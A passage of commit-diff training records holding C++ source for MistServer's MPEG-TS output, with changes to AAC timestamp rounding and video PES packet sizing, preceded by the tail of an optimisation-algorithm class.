bestSolution_;\n }\n\n bool OptimisationAlgorithm::isFinished() const {\n return (bestObjectiveValue_ <= optimisationProblem_->getAcceptableObjectiveValue());\n }\n\n bool OptimisationAlgorithm::isTerminated() const {\n return (numberOfIterations_ >= maximalNumberOfIterations_);\n }\n\n unsigned int OptimisationAlgorithm::getNumberOfIterations() const {\n return numberOfIterations_;\n }\n\n void OptimisationAlgorithm::setMaximalNumberOfIterations(const unsigned int& maximalNumberOfIterations) {\n maximalNumberOfIterations_ = maximalNumberOfIterations;\n }\n\n void OptimisationAlgorithm::reset() {\n bestObjectiveValue_ = std::numeric_limits<double>::infinity();\n bestSolution_.fill(arma::datum::nan);\n numberOfIterations_ = 0;\n optimisationProblem_->reset();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"output_ts_base.h\"\n#include <mist\/bitfields.h>\n\nnamespace Mist{\n TSOutput::TSOutput(Socket::Connection &conn) : TS_BASECLASS(conn){\n packCounter = 0;\n ts_from = 0;\n setBlocking(true);\n sendRepeatingHeaders = 0;\n lastHeaderTime = 0;\n }\n\n void TSOutput::fillPacket(char const *data, size_t dataLen, bool &firstPack, bool video,\n bool keyframe, size_t pkgPid, uint16_t &contPkg){\n do{\n if (!packData.getBytesFree()){\n if ((sendRepeatingHeaders && thisPacket.getTime() - lastHeaderTime > sendRepeatingHeaders) || !packCounter){\n\n std::set<size_t> selectedTracks;\n for (std::map<size_t, Comms::Users>::iterator it = userSelect.begin(); it != userSelect.end(); it++){\n selectedTracks.insert(it->first);\n }\n\n lastHeaderTime = thisPacket.getTime();\n TS::Packet tmpPack;\n tmpPack.FromPointer(TS::PAT);\n tmpPack.setContinuityCounter(++contPAT);\n sendTS(tmpPack.checkAndGetBuffer());\n sendTS(TS::createPMT(selectedTracks, M, ++contPMT));\n sendTS(TS::createSDT(streamName, ++contSDT));\n packCounter += 3;\n }\n sendTS(packData.checkAndGetBuffer());\n packCounter++;\n packData.clear();\n }\n\n if (!dataLen){return;}\n\n if (packData.getBytesFree() == 184){\n packData.clear();\n packData.setPID(pkgPid);\n packData.setContinuityCounter(++contPkg);\n if (firstPack){\n packData.setUnitStart(1);\n if (video){\n if (keyframe){\n packData.setRandomAccess(true);\n packData.setESPriority(true);\n }\n packData.setPCR(thisPacket.getTime() * 27000);\n }\n firstPack = false;\n }\n }\n\n size_t tmp = packData.fillFree(data, dataLen);\n data += tmp;\n dataLen -= tmp;\n }while (dataLen);\n }\n\n void TSOutput::sendNext(){\n \/\/ Get ready some data to speed up accesses\n std::string type = M.getType(thisIdx);\n std::string codec = M.getCodec(thisIdx);\n bool video = (type == \"video\");\n size_t pkgPid = TS::getUniqTrackID(M, thisIdx);\n bool &firstPack = first[thisIdx];\n uint16_t &contPkg = contCounters[pkgPid];\n uint64_t packTime = thisPacket.getTime();\n bool keyframe = thisPacket.getInt(\"keyframe\");\n firstPack = true;\n char *dataPointer = 0;\n size_t dataLen = 0;\n thisPacket.getString(\"data\", dataPointer, dataLen); \/\/ data\n\n packTime *= 90;\n std::string bs;\n \/\/ prepare bufferstring\n if (video){\n if (codec == \"H264\" || codec == \"HEVC\"){\n uint32_t extraSize = 0;\n \/\/ dataPointer[4] & 0x1f is used to check if this should be done later:\n \/\/ fillPacket(\"\\000\\000\\000\\001\\011\\360\", 6);\n if (codec == \"H264\" && (dataPointer[4] & 0x1f) != 0x09){extraSize += 6;}\n if (keyframe){\n if (codec == \"H264\"){\n MP4::AVCC avccbox;\n avccbox.setPayload(M.getInit(thisIdx));\n bs = avccbox.asAnnexB();\n extraSize += bs.size();\n }\n \/*LTS-START*\/\n if (codec == \"HEVC\"){\n MP4::HVCC hvccbox;\n hvccbox.setPayload(M.getInit(thisIdx));\n bs = hvccbox.asAnnexB();\n extraSize += bs.size();\n }\n \/*LTS-END*\/\n }\n\n const uint32_t MAX_PES_SIZE = 65490 - 13;\n uint32_t ThisNaluSize = 0;\n uint32_t i = 0;\n uint64_t offset = thisPacket.getInt(\"offset\") * 90;\n\n bs.clear();\n TS::Packet::getPESVideoLeadIn(bs,\n (((dataLen + extraSize) > MAX_PES_SIZE) ? 0 : dataLen + extraSize),\n packTime, offset, true, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n if (codec == \"H264\" && (dataPointer[4] & 0x1f) != 0x09){\n \/\/ End of previous nal unit, if not already present\n fillPacket(\"\\000\\000\\000\\001\\011\\360\", 6, firstPack, video, keyframe, pkgPid, contPkg);\n }\n if (keyframe){\n if (codec == \"H264\"){\n MP4::AVCC avccbox;\n avccbox.setPayload(M.getInit(thisIdx));\n bs = avccbox.asAnnexB();\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n }\n \/*LTS-START*\/\n if (codec == \"HEVC\"){\n MP4::HVCC hvccbox;\n hvccbox.setPayload(M.getInit(thisIdx));\n bs = hvccbox.asAnnexB();\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n }\n \/*LTS-END*\/\n }\n while (i + 4 < (unsigned int)dataLen){\n ThisNaluSize = Bit::btohl(dataPointer + i);\n if (ThisNaluSize + i + 4 > dataLen){\n WARN_MSG(\"Too big NALU detected (%\" PRIu32 \" > %zu) - skipping!\",\n ThisNaluSize + i + 4, dataLen);\n break;\n }\n fillPacket(\"\\000\\000\\000\\001\", 4, firstPack, video, keyframe, pkgPid, contPkg);\n fillPacket(dataPointer + i + 4, ThisNaluSize, firstPack, video, keyframe, pkgPid, contPkg);\n i += ThisNaluSize + 4;\n }\n }else{\n uint64_t offset = thisPacket.getInt(\"offset\") * 90;\n bs.clear();\n TS::Packet::getPESVideoLeadIn(bs, 0, packTime, offset, true, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n\n fillPacket(dataPointer, dataLen, firstPack, video, keyframe, pkgPid, contPkg);\n }\n }else if (type == \"audio\"){\n size_t tempLen = dataLen;\n if (codec == \"AAC\"){\n tempLen += 7;\n \/\/ Make sure TS timestamp is sample-aligned, if possible\n uint32_t freq = M.getRate(thisIdx);\n if (freq){\n uint64_t aacSamples = packTime * freq \/ 90000;\n \/\/round to nearest packet, assuming all 1024 samples (probably wrong, but meh)\n aacSamples &= ~0x3FF;\n \/\/Get closest 90kHz clock time to perfect sample alignment\n packTime = aacSamples * 90000 \/ freq;\n }\n }\n if (codec == \"opus\"){\n tempLen += 3 + (dataLen\/255);\n bs = TS::Packet::getPESPS1LeadIn(tempLen, packTime, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n bs = \"\\177\\340\";\n bs.append(dataLen\/255, (char)255);\n bs.append(1, (char)(dataLen-255*(dataLen\/255)));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n }else{\n bs.clear();\n TS::Packet::getPESAudioLeadIn(bs, tempLen, packTime, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n if (codec == \"AAC\"){\n bs = TS::getAudioHeader(dataLen, M.getInit(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n }\n }\n fillPacket(dataPointer, dataLen, firstPack, video, keyframe, pkgPid, contPkg);\n }else if (type == \"meta\"){\n long unsigned int tempLen = dataLen;\n bs = TS::Packet::getPESMetaLeadIn(tempLen, packTime, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n fillPacket(dataPointer, dataLen, firstPack, video, keyframe, pkgPid, contPkg);\n }\n if (packData.getBytesFree() < 184){\n packData.addStuffing();\n fillPacket(0, 0, firstPack, video, keyframe, pkgPid, contPkg);\n }\n }\n}\/\/ namespace Mist\n<commit_msg>Add a quarter frame offset to MPEG-TS AAC timestamp rounding<commit_after>#include \"output_ts_base.h\"\n#include <mist\/bitfields.h>\n\nnamespace Mist{\n TSOutput::TSOutput(Socket::Connection &conn) : TS_BASECLASS(conn){\n packCounter = 0;\n ts_from = 0;\n setBlocking(true);\n sendRepeatingHeaders = 0;\n lastHeaderTime = 0;\n }\n\n void TSOutput::fillPacket(char const *data, size_t dataLen, bool &firstPack, bool video,\n bool keyframe, size_t pkgPid, uint16_t &contPkg){\n do{\n if (!packData.getBytesFree()){\n if ((sendRepeatingHeaders && thisPacket.getTime() - lastHeaderTime > sendRepeatingHeaders) || !packCounter){\n\n std::set<size_t> selectedTracks;\n for (std::map<size_t, Comms::Users>::iterator it = userSelect.begin(); it != userSelect.end(); it++){\n selectedTracks.insert(it->first);\n }\n\n lastHeaderTime = thisPacket.getTime();\n TS::Packet tmpPack;\n tmpPack.FromPointer(TS::PAT);\n tmpPack.setContinuityCounter(++contPAT);\n sendTS(tmpPack.checkAndGetBuffer());\n sendTS(TS::createPMT(selectedTracks, M, ++contPMT));\n sendTS(TS::createSDT(streamName, ++contSDT));\n packCounter += 3;\n }\n sendTS(packData.checkAndGetBuffer());\n packCounter++;\n packData.clear();\n }\n\n if (!dataLen){return;}\n\n if (packData.getBytesFree() == 184){\n packData.clear();\n packData.setPID(pkgPid);\n packData.setContinuityCounter(++contPkg);\n if (firstPack){\n packData.setUnitStart(1);\n if (video){\n if (keyframe){\n packData.setRandomAccess(true);\n packData.setESPriority(true);\n }\n packData.setPCR(thisPacket.getTime() * 27000);\n }\n firstPack = false;\n }\n }\n\n size_t tmp = packData.fillFree(data, dataLen);\n data += tmp;\n dataLen -= tmp;\n }while (dataLen);\n }\n\n void TSOutput::sendNext(){\n \/\/ Get ready some data to speed up accesses\n std::string type = M.getType(thisIdx);\n std::string codec = M.getCodec(thisIdx);\n bool video = (type == \"video\");\n size_t pkgPid = TS::getUniqTrackID(M, thisIdx);\n bool &firstPack = first[thisIdx];\n uint16_t &contPkg = contCounters[pkgPid];\n uint64_t packTime = thisPacket.getTime();\n bool keyframe = thisPacket.getInt(\"keyframe\");\n firstPack = true;\n char *dataPointer = 0;\n size_t dataLen = 0;\n thisPacket.getString(\"data\", dataPointer, dataLen); \/\/ data\n\n packTime *= 90;\n std::string bs;\n \/\/ prepare bufferstring\n if (video){\n if (codec == \"H264\" || codec == \"HEVC\"){\n uint32_t extraSize = 0;\n \/\/ dataPointer[4] & 0x1f is used to check if this should be done later:\n \/\/ fillPacket(\"\\000\\000\\000\\001\\011\\360\", 6);\n if (codec == \"H264\" && (dataPointer[4] & 0x1f) != 0x09){extraSize += 6;}\n if (keyframe){\n if (codec == \"H264\"){\n MP4::AVCC avccbox;\n avccbox.setPayload(M.getInit(thisIdx));\n bs = avccbox.asAnnexB();\n extraSize += bs.size();\n }\n \/*LTS-START*\/\n if (codec == \"HEVC\"){\n MP4::HVCC hvccbox;\n hvccbox.setPayload(M.getInit(thisIdx));\n bs = hvccbox.asAnnexB();\n extraSize += bs.size();\n }\n \/*LTS-END*\/\n }\n\n const uint32_t MAX_PES_SIZE = 65490 - 13;\n uint32_t ThisNaluSize = 0;\n uint32_t i = 0;\n uint64_t offset = thisPacket.getInt(\"offset\") * 90;\n\n bs.clear();\n TS::Packet::getPESVideoLeadIn(bs,\n (((dataLen + extraSize) > MAX_PES_SIZE) ? 0 : dataLen + extraSize),\n packTime, offset, true, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n if (codec == \"H264\" && (dataPointer[4] & 0x1f) != 0x09){\n \/\/ End of previous nal unit, if not already present\n fillPacket(\"\\000\\000\\000\\001\\011\\360\", 6, firstPack, video, keyframe, pkgPid, contPkg);\n }\n if (keyframe){\n if (codec == \"H264\"){\n MP4::AVCC avccbox;\n avccbox.setPayload(M.getInit(thisIdx));\n bs = avccbox.asAnnexB();\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n }\n \/*LTS-START*\/\n if (codec == \"HEVC\"){\n MP4::HVCC hvccbox;\n hvccbox.setPayload(M.getInit(thisIdx));\n bs = hvccbox.asAnnexB();\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n }\n \/*LTS-END*\/\n }\n while (i + 4 < (unsigned int)dataLen){\n ThisNaluSize = Bit::btohl(dataPointer + i);\n if (ThisNaluSize + i + 4 > dataLen){\n WARN_MSG(\"Too big NALU detected (%\" PRIu32 \" > %zu) - skipping!\",\n ThisNaluSize + i + 4, dataLen);\n break;\n }\n fillPacket(\"\\000\\000\\000\\001\", 4, firstPack, video, keyframe, pkgPid, contPkg);\n fillPacket(dataPointer + i + 4, ThisNaluSize, firstPack, video, keyframe, pkgPid, contPkg);\n i += ThisNaluSize + 4;\n }\n }else{\n uint64_t offset = thisPacket.getInt(\"offset\") * 90;\n bs.clear();\n TS::Packet::getPESVideoLeadIn(bs, 0, packTime, offset, true, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n\n fillPacket(dataPointer, dataLen, firstPack, video, keyframe, pkgPid, contPkg);\n }\n }else if (type == \"audio\"){\n size_t tempLen = dataLen;\n if (codec == \"AAC\"){\n tempLen += 7;\n \/\/ Make sure TS timestamp is sample-aligned, if possible\n uint32_t freq = M.getRate(thisIdx);\n if (freq){\n uint64_t aacSamples = packTime * freq \/ 90000;\n \/\/round to nearest packet, assuming all 1024 samples (probably wrong, but meh)\n aacSamples += 256;\/\/Add a quarter frame of offset to encourage correct rounding\n aacSamples &= ~0x3FF;\n \/\/Get closest 90kHz clock time to perfect sample alignment\n packTime = aacSamples * 90000 \/ freq;\n }\n }\n if (codec == \"opus\"){\n tempLen += 3 + (dataLen\/255);\n bs = TS::Packet::getPESPS1LeadIn(tempLen, packTime, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n bs = \"\\177\\340\";\n bs.append(dataLen\/255, (char)255);\n bs.append(1, (char)(dataLen-255*(dataLen\/255)));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n }else{\n bs.clear();\n TS::Packet::getPESAudioLeadIn(bs, tempLen, packTime, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n if (codec == \"AAC\"){\n bs = TS::getAudioHeader(dataLen, M.getInit(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n }\n }\n fillPacket(dataPointer, dataLen, firstPack, video, keyframe, pkgPid, contPkg);\n }else if (type == \"meta\"){\n long unsigned int tempLen = dataLen;\n bs = TS::Packet::getPESMetaLeadIn(tempLen, packTime, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n fillPacket(dataPointer, dataLen, firstPack, video, keyframe, pkgPid, contPkg);\n }\n if (packData.getBytesFree() < 184){\n packData.addStuffing();\n fillPacket(0, 0, firstPack, video, keyframe, pkgPid, contPkg);\n }\n }\n}\/\/ namespace Mist\n<|endoftext|>"} {"text":"<commit_before>#include \"output_ts_base.h\"\n#include <mist\/bitfields.h>\n\nnamespace Mist{\n TSOutput::TSOutput(Socket::Connection &conn) : TS_BASECLASS(conn){\n packCounter = 0;\n ts_from = 0;\n setBlocking(true);\n sendRepeatingHeaders = 0;\n lastHeaderTime = 0;\n }\n\n void TSOutput::fillPacket(char const *data, size_t dataLen, bool &firstPack, bool video,\n bool keyframe, size_t pkgPid, uint16_t &contPkg){\n do{\n if (!packData.getBytesFree()){\n if ((sendRepeatingHeaders && thisPacket.getTime() - lastHeaderTime > sendRepeatingHeaders) || !packCounter){\n\n std::set<size_t> selectedTracks;\n for (std::map<size_t, Comms::Users>::iterator it = userSelect.begin(); it != userSelect.end(); it++){\n selectedTracks.insert(it->first);\n }\n\n lastHeaderTime = thisPacket.getTime();\n TS::Packet tmpPack;\n tmpPack.FromPointer(TS::PAT);\n tmpPack.setContinuityCounter(++contPAT);\n sendTS(tmpPack.checkAndGetBuffer());\n sendTS(TS::createPMT(selectedTracks, M, ++contPMT));\n sendTS(TS::createSDT(streamName, ++contSDT));\n packCounter += 3;\n }\n sendTS(packData.checkAndGetBuffer());\n packCounter++;\n packData.clear();\n }\n\n if (!dataLen){return;}\n\n if (packData.getBytesFree() == 184){\n packData.clear();\n packData.setPID(pkgPid);\n packData.setContinuityCounter(++contPkg);\n if (firstPack){\n packData.setUnitStart(1);\n if (video){\n if (keyframe){\n packData.setRandomAccess(true);\n packData.setESPriority(true);\n }\n packData.setPCR(thisPacket.getTime() * 27000);\n }\n firstPack = false;\n }\n }\n\n size_t tmp = packData.fillFree(data, dataLen);\n data += tmp;\n dataLen -= tmp;\n }while (dataLen);\n }\n\n void TSOutput::sendNext(){\n \/\/ Get ready some data to speed up accesses\n std::string type = M.getType(thisIdx);\n std::string codec = M.getCodec(thisIdx);\n bool video = (type == \"video\");\n size_t pkgPid = TS::getUniqTrackID(M, thisIdx);\n bool &firstPack = first[thisIdx];\n uint16_t &contPkg = contCounters[pkgPid];\n uint64_t packTime = thisPacket.getTime();\n bool keyframe = thisPacket.getInt(\"keyframe\");\n firstPack = true;\n char *dataPointer = 0;\n size_t dataLen = 0;\n thisPacket.getString(\"data\", dataPointer, dataLen); \/\/ data\n\n packTime *= 90;\n std::string bs;\n \/\/ prepare bufferstring\n if (video){\n if (codec == \"H264\" || codec == \"HEVC\"){\n unsigned int extraSize = 0;\n \/\/ dataPointer[4] & 0x1f is used to check if this should be done later:\n \/\/ fillPacket(\"\\000\\000\\000\\001\\011\\360\", 6);\n if (codec == \"H264\" && (dataPointer[4] & 0x1f) != 0x09){extraSize += 6;}\n if (keyframe){\n if (codec == \"H264\"){\n MP4::AVCC avccbox;\n avccbox.setPayload(M.getInit(thisIdx));\n bs = avccbox.asAnnexB();\n extraSize += bs.size();\n }\n \/*LTS-START*\/\n if (codec == \"HEVC\"){\n MP4::HVCC hvccbox;\n hvccbox.setPayload(M.getInit(thisIdx));\n bs = hvccbox.asAnnexB();\n extraSize += bs.size();\n }\n \/*LTS-END*\/\n }\n\n unsigned int watKunnenWeIn1Ding = 65490 - 13;\n unsigned int splitCount = (dataLen + extraSize) \/ watKunnenWeIn1Ding;\n unsigned int currPack = 0;\n uint64_t ThisNaluSize = 0;\n unsigned int i = 0;\n unsigned int nalLead = 0;\n uint64_t offset = thisPacket.getInt(\"offset\") * 90;\n\n while (currPack <= splitCount){\n unsigned int alreadySent = 0;\n bs = TS::Packet::getPESVideoLeadIn(\n (currPack != splitCount ? watKunnenWeIn1Ding : dataLen + extraSize - currPack * watKunnenWeIn1Ding),\n packTime, offset, !currPack, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n if (!currPack){\n if (codec == \"H264\" && (dataPointer[4] & 0x1f) != 0x09){\n \/\/ End of previous nal unit, if not already present\n fillPacket(\"\\000\\000\\000\\001\\011\\360\", 6, firstPack, video, keyframe, pkgPid, contPkg);\n alreadySent += 6;\n }\n if (keyframe){\n if (codec == \"H264\"){\n MP4::AVCC avccbox;\n avccbox.setPayload(M.getInit(thisIdx));\n bs = avccbox.asAnnexB();\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n alreadySent += bs.size();\n }\n \/*LTS-START*\/\n if (codec == \"HEVC\"){\n MP4::HVCC hvccbox;\n hvccbox.setPayload(M.getInit(thisIdx));\n bs = hvccbox.asAnnexB();\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n alreadySent += bs.size();\n }\n \/*LTS-END*\/\n }\n }\n while (i + 4 < (unsigned int)dataLen){\n if (nalLead){\n fillPacket(&\"\\000\\000\\000\\001\"[4 - nalLead], nalLead, firstPack, video, keyframe, pkgPid, contPkg);\n i += nalLead;\n alreadySent += nalLead;\n nalLead = 0;\n }\n if (!ThisNaluSize){\n ThisNaluSize = Bit::btohl(dataPointer + i);\n if (ThisNaluSize + i + 4 > dataLen){\n WARN_MSG(\"Too big NALU detected (%\" PRIu64 \" > %\" PRIu64 \") - skipping!\",\n ThisNaluSize + i + 4, dataLen);\n break;\n }\n if (alreadySent + 4 > watKunnenWeIn1Ding){\n nalLead = 4 - (watKunnenWeIn1Ding - alreadySent);\n fillPacket(\"\\000\\000\\000\\001\", watKunnenWeIn1Ding - alreadySent, firstPack, video,\n keyframe, pkgPid, contPkg);\n i += watKunnenWeIn1Ding - alreadySent;\n alreadySent += watKunnenWeIn1Ding - alreadySent;\n }else{\n fillPacket(\"\\000\\000\\000\\001\", 4, firstPack, video, keyframe, pkgPid, contPkg);\n alreadySent += 4;\n i += 4;\n }\n }\n if (alreadySent + ThisNaluSize > watKunnenWeIn1Ding){\n fillPacket(dataPointer + i, watKunnenWeIn1Ding - alreadySent, firstPack, video,\n keyframe, pkgPid, contPkg);\n i += watKunnenWeIn1Ding - alreadySent;\n ThisNaluSize -= watKunnenWeIn1Ding - alreadySent;\n alreadySent += watKunnenWeIn1Ding - alreadySent;\n }else{\n fillPacket(dataPointer + i, ThisNaluSize, firstPack, video, keyframe, pkgPid, contPkg);\n alreadySent += ThisNaluSize;\n i += ThisNaluSize;\n ThisNaluSize = 0;\n }\n if (alreadySent == watKunnenWeIn1Ding){\n packData.addStuffing();\n fillPacket(0, 0, firstPack, video, keyframe, pkgPid, contPkg);\n firstPack = true;\n break;\n }\n }\n currPack++;\n }\n }else{\n uint64_t offset = thisPacket.getInt(\"offset\") * 90;\n bs = TS::Packet::getPESVideoLeadIn(0, packTime, offset, true, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n\n fillPacket(dataPointer, dataLen, firstPack, video, keyframe, pkgPid, contPkg);\n }\n }else if (type == \"audio\"){\n size_t tempLen = dataLen;\n if (codec == \"AAC\"){\n tempLen += 7;\n \/\/ Make sure TS timestamp is sample-aligned, if possible\n uint32_t freq = M.getRate(thisIdx);\n if (freq){\n uint64_t aacSamples = (packTime \/ 90) * freq \/ 1000;\n \/\/ round to nearest packet, assuming all 1024 samples (probably wrong, but meh)\n aacSamples += 512;\n aacSamples \/= 1024;\n aacSamples *= 1024;\n \/\/ Get closest 90kHz clock time to perfect sample alignment\n packTime = aacSamples * 90000 \/ freq;\n }\n }\n bs = TS::Packet::getPESAudioLeadIn(tempLen, packTime, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n if (codec == \"AAC\"){\n bs = TS::getAudioHeader(dataLen, M.getInit(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n }\n fillPacket(dataPointer, dataLen, firstPack, video, keyframe, pkgPid, contPkg);\n }else if (type == \"meta\"){\n long unsigned int tempLen = dataLen;\n bs = TS::Packet::getPESMetaLeadIn(tempLen, packTime, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n fillPacket(dataPointer, dataLen, firstPack, video, keyframe, pkgPid, contPkg);\n }\n if (packData.getBytesFree() < 184){\n packData.addStuffing();\n fillPacket(0, 0, firstPack, video, keyframe, pkgPid, contPkg);\n }\n }\n}\/\/ namespace Mist\n<commit_msg>Large video PES packets are now sent as unbounded packets instead of split over multiple PES packets<commit_after>#include \"output_ts_base.h\"\n#include <mist\/bitfields.h>\n\nnamespace Mist{\n TSOutput::TSOutput(Socket::Connection &conn) : TS_BASECLASS(conn){\n packCounter = 0;\n ts_from = 0;\n setBlocking(true);\n sendRepeatingHeaders = 0;\n lastHeaderTime = 0;\n }\n\n void TSOutput::fillPacket(char const *data, size_t dataLen, bool &firstPack, bool video,\n bool keyframe, size_t pkgPid, uint16_t &contPkg){\n do{\n if (!packData.getBytesFree()){\n if ((sendRepeatingHeaders && thisPacket.getTime() - lastHeaderTime > sendRepeatingHeaders) || !packCounter){\n\n std::set<size_t> selectedTracks;\n for (std::map<size_t, Comms::Users>::iterator it = userSelect.begin(); it != userSelect.end(); it++){\n selectedTracks.insert(it->first);\n }\n\n lastHeaderTime = thisPacket.getTime();\n TS::Packet tmpPack;\n tmpPack.FromPointer(TS::PAT);\n tmpPack.setContinuityCounter(++contPAT);\n sendTS(tmpPack.checkAndGetBuffer());\n sendTS(TS::createPMT(selectedTracks, M, ++contPMT));\n sendTS(TS::createSDT(streamName, ++contSDT));\n packCounter += 3;\n }\n sendTS(packData.checkAndGetBuffer());\n packCounter++;\n packData.clear();\n }\n\n if (!dataLen){return;}\n\n if (packData.getBytesFree() == 184){\n packData.clear();\n packData.setPID(pkgPid);\n packData.setContinuityCounter(++contPkg);\n if (firstPack){\n packData.setUnitStart(1);\n if (video){\n if (keyframe){\n packData.setRandomAccess(true);\n packData.setESPriority(true);\n }\n packData.setPCR(thisPacket.getTime() * 27000);\n }\n firstPack = false;\n }\n }\n\n size_t tmp = packData.fillFree(data, dataLen);\n data += tmp;\n dataLen -= tmp;\n }while (dataLen);\n }\n\n void TSOutput::sendNext(){\n \/\/ Get ready some data to speed up accesses\n std::string type = M.getType(thisIdx);\n std::string codec = M.getCodec(thisIdx);\n bool video = (type == \"video\");\n size_t pkgPid = TS::getUniqTrackID(M, thisIdx);\n bool &firstPack = first[thisIdx];\n uint16_t &contPkg = contCounters[pkgPid];\n uint64_t packTime = thisPacket.getTime();\n bool keyframe = thisPacket.getInt(\"keyframe\");\n firstPack = true;\n char *dataPointer = 0;\n size_t dataLen = 0;\n thisPacket.getString(\"data\", dataPointer, dataLen); \/\/ data\n\n packTime *= 90;\n std::string bs;\n \/\/ prepare bufferstring\n if (video){\n if (codec == \"H264\" || codec == \"HEVC\"){\n uint32_t extraSize = 0;\n \/\/ dataPointer[4] & 0x1f is used to check if this should be done later:\n \/\/ fillPacket(\"\\000\\000\\000\\001\\011\\360\", 6);\n if (codec == \"H264\" && (dataPointer[4] & 0x1f) != 0x09){extraSize += 6;}\n if (keyframe){\n if (codec == \"H264\"){\n MP4::AVCC avccbox;\n avccbox.setPayload(M.getInit(thisIdx));\n bs = avccbox.asAnnexB();\n extraSize += bs.size();\n }\n \/*LTS-START*\/\n if (codec == \"HEVC\"){\n MP4::HVCC hvccbox;\n hvccbox.setPayload(M.getInit(thisIdx));\n bs = hvccbox.asAnnexB();\n extraSize += bs.size();\n }\n \/*LTS-END*\/\n }\n\n const uint32_t MAX_PES_SIZE = 65490 - 13;\n uint32_t ThisNaluSize = 0;\n uint32_t i = 0;\n uint64_t offset = thisPacket.getInt(\"offset\") * 90;\n\n bs = TS::Packet::getPESVideoLeadIn(\n (((dataLen + extraSize) > MAX_PES_SIZE) ? 0 : dataLen + extraSize),\n packTime, offset, true, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n if (codec == \"H264\" && (dataPointer[4] & 0x1f) != 0x09){\n \/\/ End of previous nal unit, if not already present\n fillPacket(\"\\000\\000\\000\\001\\011\\360\", 6, firstPack, video, keyframe, pkgPid, contPkg);\n }\n if (keyframe){\n if (codec == \"H264\"){\n MP4::AVCC avccbox;\n avccbox.setPayload(M.getInit(thisIdx));\n bs = avccbox.asAnnexB();\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n }\n \/*LTS-START*\/\n if (codec == \"HEVC\"){\n MP4::HVCC hvccbox;\n hvccbox.setPayload(M.getInit(thisIdx));\n bs = hvccbox.asAnnexB();\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n }\n \/*LTS-END*\/\n }\n while (i + 4 < (unsigned int)dataLen){\n ThisNaluSize = Bit::btohl(dataPointer + i);\n if (ThisNaluSize + i + 4 > dataLen){\n WARN_MSG(\"Too big NALU detected (%\" PRIu32 \" > %\" PRIu64 \") - skipping!\",\n ThisNaluSize + i + 4, dataLen);\n break;\n }\n fillPacket(\"\\000\\000\\000\\001\", 4, firstPack, video, keyframe, pkgPid, contPkg);\n fillPacket(dataPointer + i + 4, ThisNaluSize, firstPack, video, keyframe, pkgPid, contPkg);\n i += ThisNaluSize + 4;\n }\n }else{\n uint64_t offset = thisPacket.getInt(\"offset\") * 90;\n bs = TS::Packet::getPESVideoLeadIn(0, packTime, offset, true, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n\n fillPacket(dataPointer, dataLen, firstPack, video, keyframe, pkgPid, contPkg);\n }\n }else if (type == \"audio\"){\n size_t tempLen = dataLen;\n if (codec == \"AAC\"){\n tempLen += 7;\n \/\/ Make sure TS timestamp is sample-aligned, if possible\n uint32_t freq = M.getRate(thisIdx);\n if (freq){\n uint64_t aacSamples = (packTime \/ 90) * freq \/ 1000;\n \/\/ round to nearest packet, assuming all 1024 samples (probably wrong, but meh)\n aacSamples += 512;\n aacSamples \/= 1024;\n aacSamples *= 1024;\n \/\/ Get closest 90kHz clock time to perfect sample alignment\n packTime = aacSamples * 90000 \/ freq;\n }\n }\n bs = TS::Packet::getPESAudioLeadIn(tempLen, packTime, M.getBps(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n if (codec == \"AAC\"){\n bs = TS::getAudioHeader(dataLen, M.getInit(thisIdx));\n fillPacket(bs.data(), bs.size(), firstPack, video, keyframe, pkgPid, contPkg);\n }\n fillPacket(dataPointer, dataLen, firstPack, video, keyframe, pkgPid, contPkg);\n }else if (type == \"meta\"){\n long unsigned int tempLen = dataLen;\n bs = TS::Packet::getPESMetaLeadIn(tempLen, packTime, M.getBps(thisIdx));\n fillPacket(bs.data(), 